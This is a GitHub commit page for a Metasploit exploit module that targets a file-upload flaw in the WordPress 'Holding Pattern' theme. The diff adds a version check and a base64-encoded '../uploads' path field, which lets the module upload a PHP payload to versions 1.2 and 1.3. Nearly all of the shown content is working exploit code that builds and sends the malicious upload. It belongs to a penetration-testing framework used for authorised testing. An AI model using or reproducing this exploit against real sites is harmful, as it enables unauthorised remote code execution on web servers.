Skip to content

Commit 5cc6a22

Browse files
committed
Land rapid7#6482, Fix problem causing upload to fail on versions 1.2 and 1.3
2 parents ceb2eb7 + a7cd599 commit 5cc6a22

File tree

1 file changed

+13
-1
lines changed

1 file changed

+13
-1
lines changed

modules/exploits/unix/webapp/wp_holding_pattern_file_upload.rb

Lines changed: 13 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -43,6 +43,10 @@ def initialize(info = {})
4343
))
4444
end
4545

46+
def check
47+
check_theme_version_from_readme('holding_pattern')
48+
end
49+
4650
def rhost
4751
datastore['RHOST']
4852
end
@@ -59,13 +63,21 @@ def generate_mime_message(payload, payload_name)
5963
data = Rex::MIME::Message.new
6064
target_ip = IPSocket.getaddress(rhost)
6165
field_name = Rex::Text.md5(target_ip)
66+
67+
# In versions 1.2 and 1.3 of the theme, the upload directory must
68+
# be encoded in base64 and sent with the request. To maintain
69+
# compatibility with the hardcoded path of ../uploads in prior
70+
# versions, we will send the same path in the request.
71+
upload_path = Rex::Text.encode_base64('../uploads')
72+
6273
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"#{field_name}\"; filename=\"#{payload_name}\"")
74+
data.add_part(upload_path, nil, nil, 'form-data; name="upload_path"')
6375
data
6476
end
6577

6678
def exploit
6779
print_status("#{peer} - Preparing payload...")
68-
payload_name = "#{Rex::Text.rand_text_alpha(10)}.php"
80+
payload_name = "#{Rex::Text.rand_text_alpha_lower(10)}.php"
6981
data = generate_mime_message(payload, payload_name)
7082

7183
print_status("#{peer} - Uploading payload...")

0 commit comments

Comments
 (0)